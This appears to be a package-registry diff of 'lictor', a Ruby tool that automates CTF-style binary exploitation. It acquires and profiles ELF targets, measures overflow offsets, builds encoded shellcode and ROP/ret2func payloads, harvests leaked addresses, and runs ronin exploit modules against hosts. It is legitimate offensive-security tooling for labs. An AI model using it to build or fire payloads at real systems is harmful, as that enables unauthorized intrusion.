lictor 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,78 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "net/http"
4
+ require "uri"
5
+ require "fileutils"
6
+ require "open3"
7
+ require "timeout"
8
+ require "securerandom"
9
+
10
+ module Lictor
11
+ # The nmap -> binary bridge. After the scan, WHERE does the binary come
12
+ # from? Three honest answers: it is local (CTF/lab), it is
13
+ # downloadable (http/ftp on the target), or the target is a pure
14
+ # remote service with no retrievable ELF - in that case there is NO
15
+ # profiling: the facts come from the scan (service/software_version)
16
+ # and the service packs match them.
17
+ class AcquisitionError < StandardError; end
18
+
19
+ module Acquisition
20
+ ELF_MAGIC = "\x7fELF"
21
+ MAX_BYTES = 64 * 1024 * 1024
22
+
23
+ module_function
24
+
25
+ # source: "local:/path" or "http(s)://url". Returns {facts:, binary_path:}.
26
+ def acquire(target, source:, trail:, out_dir: ".", profiler_cmd: nil)
27
+ binary_path = fetch(source, out_dir: out_dir)
28
+ unless File.open(binary_path, "rb") { |f| f.read(4) == ELF_MAGIC }
29
+ raise AcquisitionError,
30
+ "#{binary_path} is not an ELF - a pure remote service has no profiled " \
31
+ "binary: its facts come from the scan (service facts) and service packs"
32
+ end
33
+
34
+ cmd = profiler_cmd || "augure-profile"
35
+ out, err, status = Timeout.timeout(300) { Open3.capture3(cmd, binary_path) }
36
+ unless status.success?
37
+ raise AcquisitionError,
38
+ "profiling failed: #{[out, err].map(&:strip).reject(&:empty?).join(" | ")}"
39
+ end
40
+
41
+ facts_path = File.join(out_dir, "target.facts")
42
+ File.write(facts_path, out)
43
+ trail.record(run: SecureRandom.uuid, type: "acquire", target: target,
44
+ source: source, binary: binary_path)
45
+ {facts: out, facts_path: facts_path, binary_path: binary_path}
46
+ rescue Timeout::Error
47
+ raise AcquisitionError, "profiling #{binary_path} timed out after 300s (hung metasm? check the binary)"
48
+ end
49
+
50
+ def fetch(source, out_dir:)
51
+ case source
52
+ when /\Alocal:(.+)/
53
+ path = Regexp.last_match(1)
54
+ raise AcquisitionError, "local source missing: #{path}" unless File.file?(path)
55
+
56
+ dest = File.join(out_dir, File.basename(path))
57
+ FileUtils.cp(path, dest) unless File.identical?(path, dest)
58
+ dest
59
+ when %r{\Ahttps?://}
60
+ dest = File.join(out_dir, File.basename(URI(source).path))
61
+ uri = URI(source)
62
+ response = Net::HTTP.start(uri.host, uri.port, use_ssl: source.start_with?("https"),
63
+ open_timeout: 10, read_timeout: 30) do |http|
64
+ http.get(uri.request_uri)
65
+ end
66
+ raise AcquisitionError, "download failed: HTTP #{response.code}" unless response.code.to_i == 200
67
+
68
+ body = response.body.to_s
69
+ raise AcquisitionError, "download too large (max #{MAX_BYTES})" if body.bytesize > MAX_BYTES
70
+
71
+ File.binwrite(dest, body)
72
+ dest
73
+ else
74
+ raise AcquisitionError, "source must be local:/path or http(s)://url, got #{source.inspect}"
75
+ end
76
+ end
77
+ end
78
+ end
@@ -0,0 +1,24 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "yaml"
4
+
5
+ module Lictor
6
+ # Project config: lictor.yml in the working directory (or an explicit
7
+ # path). Command-line flags override it. The engagement setup is
8
+ # written once; the commands stay short.
9
+ module Config
10
+ DEFAULT_PATH = "lictor.yml"
11
+
12
+ module_function
13
+
14
+ def load(path = DEFAULT_PATH)
15
+ return {} unless File.file?(path)
16
+
17
+ settings = YAML.safe_load_file(path)
18
+ raise ArgumentError, "lictor.yml: symbol keys are not supported - write plain \"key: value\" lines" if settings&.any? { |k, _| k.is_a?(Symbol) }
19
+ settings.to_h.transform_keys(&:to_sym)
20
+ rescue Psych::Exception => e
21
+ raise ArgumentError, "lictor.yml is not parseable config: #{e.message}"
22
+ end
23
+ end
24
+ end
@@ -0,0 +1,119 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "open3"
4
+ require "timeout"
5
+ require "tmpdir"
6
+
7
+ module Lictor
8
+ # The execution layer. The interface is uniform; the implementations
9
+ # differ in how much they dare. ManualExecutor (the default) executes
10
+ # NOTHING - it hands off. RoninExecutor runs exploits from the
11
+ # operator's ronin repos, discovered at runtime, never invented.
12
+ class ExecutorError < StandardError; end
13
+
14
+ module Executor
15
+ module_function
16
+
17
+ def resolve(kind)
18
+ case kind
19
+ when :manual, "manual" then ManualExecutor.new
20
+ when :ronin, "ronin" then RoninExecutor.new
21
+ else raise ExecutorError, "unknown executor #{kind.inspect} (manual|ronin)"
22
+ end
23
+ end
24
+ end
25
+
26
+ # The default: augure decided, lictor prints, a human runs.
27
+ class ManualExecutor
28
+ def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
29
+ {
30
+ executed: false,
31
+ success: nil,
32
+ handoff: recipe[:console] || "manual handoff: #{technique} against #{target}"
33
+ }
34
+ end
35
+ end
36
+
37
+ # Runs an exploit from the operator's installed ronin repos. The
38
+ # exploit NAME must come from discovery (ronin-exploits list) - a
39
+ # fabricated name is an ExecutorError. The ronin subprocess runs
40
+ # OUTSIDE the caller's bundle (RUBYOPT stripped): the operator
41
+ # installs ronin-exploits globally (gem install, the lab setup does
42
+ # it) - the executor does not drag the arsenal into its own bundle.
43
+ class RoninExecutor
44
+ # A MINIMAL environment: under `bundle exec` any surviving bundler
45
+ # hook (RUBYOPT's -rbundler/setup, a BUNDLE_* var, even the Gemfile
46
+ # of the working directory) freezes the gem set to lictor's bundle -
47
+ # and ronin-exploits is deliberately not in it, so the binstub dies
48
+ # in Gem.activate_bin_path. HOME + the current ruby's bindir (where
49
+ # `gem install` puts binstubs, plus mise shims when present) + the
50
+ # system dirs: that is all the arsenal needs.
51
+ CLEAN_ENV = {
52
+ "HOME" => ENV["HOME"].to_s,
53
+ "PATH" => [
54
+ File.dirname(RbConfig.ruby),
55
+ ENV["PATH"].to_s.split(":").find { |d| File.exist?(File.join(d, "mise")) },
56
+ "/usr/local/sbin", "/usr/local/bin", "/usr/sbin", "/usr/bin", "/sbin", "/bin"
57
+ ].compact.join(":"),
58
+ "LANG" => ENV["LANG"].to_s,
59
+ "TERM" => ENV["TERM"].to_s
60
+ }.freeze
61
+
62
+ def initialize(runner: "ronin-exploits")
63
+ @runner = runner
64
+ end
65
+
66
+ # The exploits available in the operator's repos, matched to the
67
+ # decided technique by the naming convention
68
+ # `<name>_<technique>_<nnn>` (ronin-exploits list shows names only).
69
+ def discover(technique)
70
+ out, _err, status = Open3.capture3(CLEAN_ENV, @runner, "list", unsetenv_others: true)
71
+ raise ExecutorError, "ronin-exploits list failed" unless status.success?
72
+
73
+ out.lines.filter_map do |line|
74
+ name = line.strip
75
+ name if name.include?(technique)
76
+ end
77
+ end
78
+
79
+ def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
80
+ exploit_name ||= discover(technique).first
81
+ unless exploit_name
82
+ return {executed: false, success: nil,
83
+ note: "no #{technique} exploit in your repos (ronin-exploits list)"}
84
+ end
85
+
86
+ host, port = target.split(":", 2)
87
+ args = ["run", exploit_name, "--param", "host=#{host || target}"]
88
+ args += ["--param", "port=#{port}"] if port
89
+ args += ["--param", "payload_file=#{File.expand_path(payload)}"] if payload
90
+ # A neutral cwd: a Gemfile in the working directory pulls the
91
+ # subprocess back into a bundle context where ronin-exploits
92
+ # "is not included in the bundle".
93
+ out, _err, status = nil
94
+ Dir.chdir(Dir.tmpdir) do
95
+ # unsetenv_others: true = the env -i semantics - Open3 would
96
+ # otherwise MERGE CLEAN_ENV into the (bundler-contaminated)
97
+ # parent environment.
98
+ # the timeout kills the SERVER's wait, the child may linger: a
99
+ # black-holed target must not hang the stdio loop forever
100
+ out, _err, status = Timeout.timeout(timeout || 300) do
101
+ Open3.capture3(CLEAN_ENV, @runner, *args, unsetenv_others: true)
102
+ end
103
+ rescue Timeout::Error, SignalException
104
+ raise ExecutorError, "the runner timed out - a black-holed target hangs the loop"
105
+ end
106
+ # Success semantics: the flag in the OUTPUT is the truth the
107
+ # operator cares about; the exit code lies both ways (a polite
108
+ # exploit exits 0 on failure, a caught-cleanup exploit exits
109
+ # non-zero after landing the flag). Without a flag regex the exit
110
+ # code stays the oracle - the honest, weaker fallback.
111
+ if flag_regex
112
+ flag = out[/#{flag_regex}/]
113
+ {executed: true, success: !flag.nil?, exploit: exploit_name, output: out, flag: flag}
114
+ else
115
+ {executed: true, success: status.success?, exploit: exploit_name, output: out}
116
+ end
117
+ end
118
+ end
119
+ end
@@ -0,0 +1,61 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "securerandom"
4
+
5
+ module Lictor
6
+ # When the repos have no exploit for a decided technique, lictor
7
+ # drafts one: a ronin exploit class carrying the MEASURED constants
8
+ # (offset, addresses) and the built payload loader. The file lands in
9
+ # the operator's repo (or a staging dir for the LLM flow) - the
10
+ # operator reads it and commits it. The exploit NAME follows the
11
+ # discovery convention, so the executor finds it right away.
12
+ module ExploitScaffold
13
+ class ScaffoldError < StandardError; end
14
+
15
+ module_function
16
+
17
+ # Returns the written path. technique: the decided technique;
18
+ # constants: the build result hash (offset:, ret_source:, path: ...).
19
+ def scaffold(technique:, constants:, repo_dir:, author:)
20
+ unless constants[:path] && File.file?(constants[:path])
21
+ raise ScaffoldError,
22
+ "the payload file is missing: #{constants[:path]}"
23
+ end
24
+
25
+ klass_name = "Lab#{technique.split("_").map(&:capitalize).join}#{format("%03d", next_index(repo_dir, technique))}"
26
+ file_name = "lab_#{technique}_#{format("%03d", next_index(repo_dir, technique))}.rb"
27
+ dest = File.join(repo_dir, file_name)
28
+ raise ScaffoldError, "#{dest} already exists - review it instead of overwriting" if File.exist?(dest)
29
+
30
+ File.write(dest, template(klass_name, file_name, technique, constants, author))
31
+ dest
32
+ end
33
+
34
+ def next_index(repo_dir, technique)
35
+ return 1 unless File.directory?(repo_dir.to_s)
36
+
37
+ existing = Dir.children(repo_dir.to_s)
38
+ .select { |f| f =~ /\Alab_#{technique}_(\d{3})\.rb\z/ }
39
+ .map { |_f| Regexp.last_match(1).to_i }
40
+ (existing.max || 0) + 1
41
+ end
42
+
43
+ require "erb"
44
+
45
+ def template(klass_name, file_name, technique, constants, author)
46
+ tpl = File.read(File.join(__dir__, "templates", "scaffold_exploit.rb.erb"))
47
+ locals = {
48
+ klass_name: klass_name,
49
+ register_name: file_name.sub(/\.rb\z/, ""),
50
+ technique: technique,
51
+ author: author,
52
+ offset: constants[:offset],
53
+ offset_source: constants[:offset_source],
54
+ ret_source: constants[:ret_source],
55
+ size: constants[:size],
56
+ payload_path: constants[:path]
57
+ }
58
+ ERB.new(tpl).result_with_hash(locals)
59
+ end
60
+ end
61
+ end
@@ -0,0 +1,62 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "augure"
4
+
5
+ module Lictor
6
+ # Handoff mode: augure decided, Lictor prints the recipe and a human runs
7
+ # it. No RPC, no daemon, no Metasploit install - the Ruby-native arsenal
8
+ # (ronin-exploits 2.1 + rex gems) carries the execution, from gems.
9
+ module Handoff
10
+ # technique -> ronin mixin mapping. Verified against ronin-exploits
11
+ # 1.1.1: the mixins ARE the framework vocabulary; the concrete exploit
12
+ # comes from the operator's installed ronin repos (community exploits
13
+ # are not bundled, so lictor never fabricates exploit names).
14
+ RONIN_MIXINS = {
15
+ "shellcode" => {mixin: "Binary", delivery: "RemoteTCP"},
16
+ "ret2func" => {mixin: "Binary", delivery: "RemoteTCP"},
17
+ "ret2plt" => {mixin: "Binary", delivery: "RemoteTCP"},
18
+ "ret2libc" => {mixin: "Binary", delivery: "RemoteTCP"},
19
+ "rop" => {mixin: "Binary", delivery: "RemoteTCP"},
20
+ "srop" => {mixin: "Binary", delivery: "RemoteTCP"},
21
+ "dlresolve" => {mixin: "Binary", delivery: "RemoteTCP"},
22
+ "got_overwrite" => {mixin: "Binary", delivery: "RemoteTCP"},
23
+ "stack_pivot" => {mixin: "Binary", delivery: "RemoteTCP"},
24
+ "ret2csu" => {mixin: "Binary", delivery: "RemoteTCP"},
25
+ "ret2plt_leak" => {mixin: "Binary", delivery: "RemoteTCP"},
26
+ "fmtstr_leak" => {mixin: "FormatString", delivery: "RemoteTCP"},
27
+ "fmtstr_write" => {mixin: "FormatString", delivery: "RemoteTCP"},
28
+ "got_overwrite (fmtstr)" => {mixin: "FormatString", delivery: "RemoteTCP"},
29
+ "heap_tcache" => {mixin: "Binary", delivery: "Local"},
30
+ "heap_fastbin" => {mixin: "Binary", delivery: "Local"},
31
+ "heap_overwrite" => {mixin: "Binary", delivery: "Local"}
32
+ }.freeze
33
+
34
+ module_function
35
+
36
+ def recipe(technique)
37
+ hint = RONIN_MIXINS.fetch(technique) do
38
+ {mixin: nil, delivery: nil}
39
+ end
40
+ mixin_line = hint[:mixin] ? " # mixin: Ronin::Exploits::Mixins::#{hint[:mixin]}" : ""
41
+ {
42
+ technique: technique,
43
+ runner: "ronin",
44
+ mixin: hint[:mixin],
45
+ console: "ronin-exploits run <exploit-name-from-your-repos> " \
46
+ "--technique #{technique}#{mixin_line}"
47
+ }
48
+ end
49
+
50
+ def plan(facts:, seed: nil, priors: nil, packs: nil, technique: nil)
51
+ decision = Augure::Pipeline.analyze(facts: facts, seed: seed, priors: priors, packs: packs)
52
+ selected = technique || decision[:selected]
53
+ {
54
+ applicable: decision[:applicable],
55
+ ranking: decision[:ranking],
56
+ selected: selected,
57
+ recipe: selected ? recipe(selected) : nil,
58
+ explain: decision[:explain]
59
+ }
60
+ end
61
+ end
62
+ end
@@ -0,0 +1,58 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "socket"
4
+ require "securerandom"
5
+ require "augure"
6
+
7
+ module Lictor
8
+ # The dynamic leak: the service PRINTS its own addresses. Connect,
9
+ # capture what it says, parse the hex it hands over, and the facts
10
+ # gain leaked_address(name, addr) - addresses OBSERVED LIVE,
11
+ # provenance "observed-live". The banner_leak technique's engine.
12
+ module Harvest
13
+ class HarvestError < StandardError; end
14
+
15
+ HEX = /0x([0-9a-f]{4,16})/i
16
+
17
+ module_function
18
+
19
+ # host[:port]. Returns {addresses:, facts:} - the facts text ready
20
+ # to merge into the target's base. The socket work is the Tube's
21
+ # (ADR lictor 0001): one TCP implementation, one deadline semantics.
22
+ def harvest(target, trail:, timeout: 5, read_bytes: 512)
23
+ host, port = target.split(":", 2)
24
+ tube = Lictor::Tube.tcp(host, port, timeout: timeout)
25
+ banner = tube.read_bytes(limit: read_bytes)
26
+ tube.close
27
+ addresses = parse_banner(banner)
28
+ raise HarvestError, "no address in the banner" if addresses.empty?
29
+
30
+ facts = addresses.map { |name, addr| "leaked_address(\"#{name}\", #{addr})." }.join("\n") + "\n"
31
+ trail.record(run: SecureRandom.uuid, type: "harvest", target: target,
32
+ addresses: addresses.transform_values { |v| format("0x%x", v) })
33
+ {addresses: addresses, facts: facts}
34
+ rescue => e
35
+ raise HarvestError, "the service said nothing readable: #{e.message}"
36
+ end
37
+
38
+ # The banner parser, shared with the run's leak capture: hex
39
+ # addresses in a service's output, named by the announcing context.
40
+ def parse_banner(banner)
41
+ addresses = {}
42
+ banner.scan(HEX) do |hex|
43
+ addr = hex.first.to_i(16)
44
+ next if addr < 0x1000
45
+
46
+ # name the leak: "win() at 0x..." -> the function whose call the
47
+ # banner announced; the () between the name and the address is
48
+ # skipped first, the plain preceding word is the fallback
49
+ before = banner[0...Regexp.last_match.pre_match.length]
50
+ name = before[/([A-Za-z_][A-Za-z0-9_]*)\s*\(\s*\)\s*[^\n]*\z/, 1] ||
51
+ before[/([A-Za-z_][A-Za-z0-9_]*)\s*\z/, 1] ||
52
+ "leak"
53
+ addresses[name] ||= addr
54
+ end
55
+ addresses
56
+ end
57
+ end
58
+ end
@@ -0,0 +1,84 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "fileutils"
4
+ require "yaml"
5
+ require "augure"
6
+ require "augure/pack_loader"
7
+
8
+ module Lictor
9
+ # No technique applies and the crash carries facts: draft a PACK. The
10
+ # draft is honest by construction - its rule records the observed
11
+ # facts, its build layout carries the measured constants, and it goes
12
+ # to the STAGING directory for the operator to review. The armor runs
13
+ # on the draft before anything touches augure: a pack that would move
14
+ # a frozen corpus verdict is refused, and it is never auto-installed.
15
+ module PackDraft
16
+ class DraftError < StandardError; end
17
+
18
+ module_function
19
+
20
+ # Returns the draft path, or nil when a built-in technique already
21
+ # covers the observation (the draft says so instead of duplicating).
22
+ def draft(facts:, measurements:, staging_dir:)
23
+ decision = Augure::Pipeline.analyze(facts: facts, plan: false)
24
+ unless decision[:applicable].empty?
25
+ return nil # built-ins cover it: no pack needed, say so upstream
26
+ end
27
+
28
+ sink = measurements[:sink]
29
+ raise DraftError, "no measured sink - the draft would be pure invention" unless sink
30
+
31
+ name = "autodraft_#{sink}"
32
+ layout = measurements[:offset] ? [["padding", "measured_offset"]] : []
33
+ layout << ["qword", "win"] if facts.include?("win_symbol(")
34
+ layout << ["shellcode", "sh"] if facts.include?("nx(\"false\")")
35
+
36
+ yaml = {
37
+ "technique" => name,
38
+ "author" => "lictor auto-draft (operator review required)",
39
+ "source" => "auto-draft from run #{measurements[:run_id]}",
40
+ "rules" => [
41
+ {
42
+ "id" => "app_#{name}",
43
+ "head" => ["applicable", name],
44
+ "conditions" => [
45
+ ["fact", "vuln", "sof"],
46
+ ["fact", "sink", sink]
47
+ ]
48
+ }
49
+ ],
50
+ "kb" => [
51
+ {
52
+ "id" => "#{name}_001",
53
+ "technique" => name,
54
+ "description" => "Auto-drafted from the run's observations: the sink was #{sink}, " \
55
+ "the offset measured #{measurements[:offset]} (#{measurements[:offset_source]}). " \
56
+ "This draft records what was seen - the operator writes the craft.",
57
+ "chain" => ["observed", "measured"],
58
+ "unlocks" => [],
59
+ "success_rate" => 0.3
60
+ }
61
+ ],
62
+ "mcts" => {"requires" => [], "provides" => [], "terminal" => true, "success" => 0.3},
63
+ "priors" => [5, 15],
64
+ "build" => {"technique" => name, "arch" => "any", "layout" => layout}
65
+ }
66
+ require "yaml"
67
+ text = YAML.dump(yaml)
68
+ FileUtils.mkdir_p(staging_dir)
69
+ dest = File.join(staging_dir, "#{name}.yml")
70
+ File.write(dest, text)
71
+
72
+ # the armor reads the draft: a refused draft stays on disk with
73
+ # the refusal in the trail - the operator decides what to do
74
+ status = begin
75
+ Augure::PackLoader.load_dir(staging_dir)
76
+ Augure::PackLoader.corpus_guard(Augure::PackLoader.load_dir(staging_dir))
77
+ "valid"
78
+ rescue Augure::PackError => e
79
+ "refused: #{e.message[0, 80]}"
80
+ end
81
+ {path: dest, status: status, technique: name}
82
+ end
83
+ end
84
+ end
@@ -0,0 +1,187 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "yaml"
4
+ require "augure"
5
+ # metasm (+ augure-profiler) loads lazily in build(): every lictor
6
+ # command would otherwise pay the 0.32 s load (H6)
7
+
8
+ module Lictor
9
+ # The asploit inheritance: from the decision to the actual bytes.
10
+ # The offset is MEASURED (static frame read first, the cyclic pattern
11
+ # under the debugger as verifier/fallback), the return address comes
12
+ # from facts with their provenance, and the assembly follows a BUILD
13
+ # LAYOUT - data, not code: lictor ships layouts for its built-in
14
+ # families (config/build_layouts.yml) and packs may add layouts for
15
+ # their own techniques. The result is a payload file - like the
16
+ # original's ./payload dump - trailed for the audit.
17
+ module PayloadBuilder
18
+ class BuildError < StandardError; end
19
+
20
+ module_function
21
+
22
+ # binary: the acquired local ELF copy. facts: text or Facts.
23
+ # technique: the selected technique (drives the layout).
24
+ # packs: loaded augure packs - a pack build: layout for the
25
+ # technique WINS over the built-in file (packs teach, the builder
26
+ # follows).
27
+ # Returns {path:, offset:, offset_source:, sink:, ret:, ret_source:,
28
+ # arch:, size:}.
29
+ def build(binary:, facts:, technique:, out:, payload_file: nil, packs: nil, shellcode_path: nil)
30
+ require "augure-profiler" # lazy: metasm loads on the first build only
31
+ facts = Augure::Facts.parse(facts) if facts.is_a?(String)
32
+ # The ELF check FIRST: nothing executes - statically or under the
33
+ # debugger - until the file is a real ELF.
34
+ binary = File.expand_path(binary)
35
+ raise BuildError, "#{binary} is not an ELF - nothing executes, statically or under a debugger" unless elf?(binary)
36
+
37
+ # the acquired copy comes through File.binwrite (0644): the offset
38
+ # measurement runs it under the debugger, it must be executable
39
+ FileUtils.chmod(0o755, binary) unless File.executable?(binary)
40
+ begin
41
+ static = AugureProfiler::StaticOffset.offset(binary)
42
+ rescue
43
+ static = nil
44
+ end
45
+ offset = static&.dig(:offset)
46
+ offset_source = offset ? "static-frame" : nil
47
+ unless offset
48
+ offset = AugureProfiler::Triage.offset(binary)
49
+ offset_source = "gdb-cyclic" if offset
50
+ end
51
+ unless offset
52
+ raise BuildError,
53
+ "no measured offset - static analysis found no controlled return and the debugger did not either"
54
+ end
55
+
56
+ layout = layout_for(technique, packs)
57
+ arch = AugureProfiler.arch(binary)
58
+ width = (arch == :x64) ? "Q<" : "L<"
59
+ body, ret, ret_source = assemble(facts, layout, offset, arch, width, payload_file, shellcode_path)
60
+ File.binwrite(out, body)
61
+ {path: out, offset: offset, offset_source: offset_source, sink: static&.dig(:sink),
62
+ ret: ret, ret_source: ret_source, arch: arch, size: body.bytesize}
63
+ end
64
+
65
+ # lictor's data file first; a pack teaching the same technique with
66
+ # a build: section overrides (packs teach, the builder follows).
67
+ def layout_for(technique, packs = [])
68
+ built_in = YAML.load_file(File.expand_path("../config/build_layouts.yml", __dir__))
69
+ Array(packs).filter_map(&:build).find { |b| b["technique"] == technique }&.dig("layout") ||
70
+ built_in.dig(technique, "layout") or
71
+ raise BuildError, "no build layout for #{technique} - teach one in the pack or in build_layouts.yml"
72
+ end
73
+
74
+ # The layout slots, resolved against the facts and the measurement.
75
+ # Every unresolved reference is a loud error: the builder never
76
+ # guesses a byte.
77
+ def assemble(facts, layout, offset, arch, width, payload_file, shellcode_path = nil)
78
+ body = +""
79
+ ret = nil
80
+ ret_source = nil
81
+ layout.each do |slot|
82
+ case slot[0]
83
+ when "padding"
84
+ filler = (slot[2] == "sled") ? "\x90" : "A"
85
+ body << (filler * offset).b
86
+ when "qword", "dword"
87
+ # dword is 4 bytes WHATEVER the arch (a partial overwrite);
88
+ # qword is the arch's pointer width (8 on x64, 4 on x86)
89
+ slot_width = (slot[0] == "dword") ? "L<" : width
90
+ value, source = resolve_addr(facts, slot[1], slot_width)
91
+ ret ||= value
92
+ ret_source ||= source
93
+ body << [value].pack(slot_width)
94
+ when "shellcode"
95
+ sc = if payload_file
96
+ File.binread(payload_file)
97
+ else
98
+ stub = (slot[1] || "sh").to_sym
99
+ # the orw stub embeds its flag path: the builder-level
100
+ # shellcode_path is the operator's explicit override and
101
+ # wins over the slot's default (measured: the orw slot
102
+ # carried flag.txt, the shared ret2func flag came back)
103
+ path = shellcode_path || ((slot.size > 2) ? slot[2] : nil)
104
+ # seccomp: execve dies, the sh stub is a booby trap - the
105
+ # orw chain (open/read/write, clean exit) is the answer;
106
+ # the flag path defaults to the CTF convention.
107
+ if stub == :sh && facts["seccomp"]&.first&.first == "true"
108
+ stub = :orw
109
+ path ||= "flag.txt"
110
+ end
111
+ AugureProfiler::Shellcode.generate(shellcode_klass(arch), stub, path: path)
112
+ end
113
+ # The shellcode travels through a strcpy (the vuln=sof copy):
114
+ # the copied string stops at the first NUL, so a raw stub dies
115
+ # in the channel. The Encoder's xor wrapper (the decoder is
116
+ # zero-free by construction, the data is xor-keyed) crosses it;
117
+ # the decoded stub materializes in place at run time.
118
+ sc = AugureProfiler::Encoder.encode(sc.b, badchars: [0x00], arch: arch)[:bytes]
119
+ body << sc.b
120
+ when "chain"
121
+ slot[1..].each do |ref|
122
+ value, source = resolve_addr(facts, ref, width)
123
+ ret ||= value
124
+ ret_source ||= source
125
+ body << [value].pack(width)
126
+ end
127
+ else
128
+ raise BuildError, "unknown build slot #{slot[0].inspect}"
129
+ end
130
+ end
131
+ raise BuildError, "the layout produced no return address" if ret.nil?
132
+
133
+ [body, ret, ret_source]
134
+ end
135
+
136
+ # slot ref -> (address, provenance). "win" = the win_symbol fact,
137
+ # "gadget:TYPE" = the first gadget of that type (verified before use).
138
+ def resolve_addr(facts, ref, _width)
139
+ case ref
140
+ when "win"
141
+ win = facts["win_symbol"]&.first
142
+ raise BuildError, "no win_symbol fact - the winning function's address is unknown" unless win
143
+
144
+ [win[1], "win_symbol:#{win[0]}@#{win[1]}"]
145
+ when /\Agadget:(.+)\z/
146
+ type = Regexp.last_match(1)
147
+ gadget = facts["gadget"]&.find { |t, _| t == type }
148
+ raise BuildError, "no #{type} gadget in the facts" unless gadget
149
+
150
+ [gadget[1], "gadget:#{type}@#{gadget[1]}"]
151
+ when /\Aleak:(.+)\z/
152
+ name = Regexp.last_match(1)
153
+ leak = facts["leaked_address"]&.find { |n, _| n == name }
154
+ raise BuildError, "no leaked_address(\"#{name}\") fact - harvest the service first" unless leak
155
+
156
+ [leak[1], "leaked_address:#{name}@#{leak[1]}"]
157
+ when /\Aplt_addr:(.+)\z/
158
+ name = Regexp.last_match(1)
159
+ entry = facts["plt_addr"]&.find { |n, _| n == name }
160
+ raise BuildError, "no plt_addr(\"#{name}\") fact - profile the binary first" unless entry
161
+
162
+ [entry[1], "plt_addr:#{name}@#{entry[1]}"]
163
+ when /\Agot_addr:(.+)\z/
164
+ name = Regexp.last_match(1)
165
+ entry = facts["got_addr"]&.find { |n, _| n == name }
166
+ raise BuildError, "no got_addr(\"#{name}\") fact - profile the binary first" unless entry
167
+
168
+ [entry[1], "got_addr:#{name}@#{entry[1]}"]
169
+ when /\Aconst:(\d+)\z/
170
+ [Regexp.last_match(1).to_i, "const:#{Regexp.last_match(1)}"]
171
+ else
172
+ raise BuildError,
173
+ "unknown address reference #{ref.inspect} (win | gadget:TYPE | plt_addr:NAME | got_addr:NAME | leak:NAME | const:N)"
174
+ end
175
+ end
176
+
177
+ def elf?(path)
178
+ File.open(path, "rb") { |f| f.read(4) == "\x7fELF" }
179
+ rescue
180
+ false
181
+ end
182
+
183
+ def shellcode_klass(arch)
184
+ (arch == :x64) ? Metasm::X64 : Metasm::Ia32
185
+ end
186
+ end
187
+ end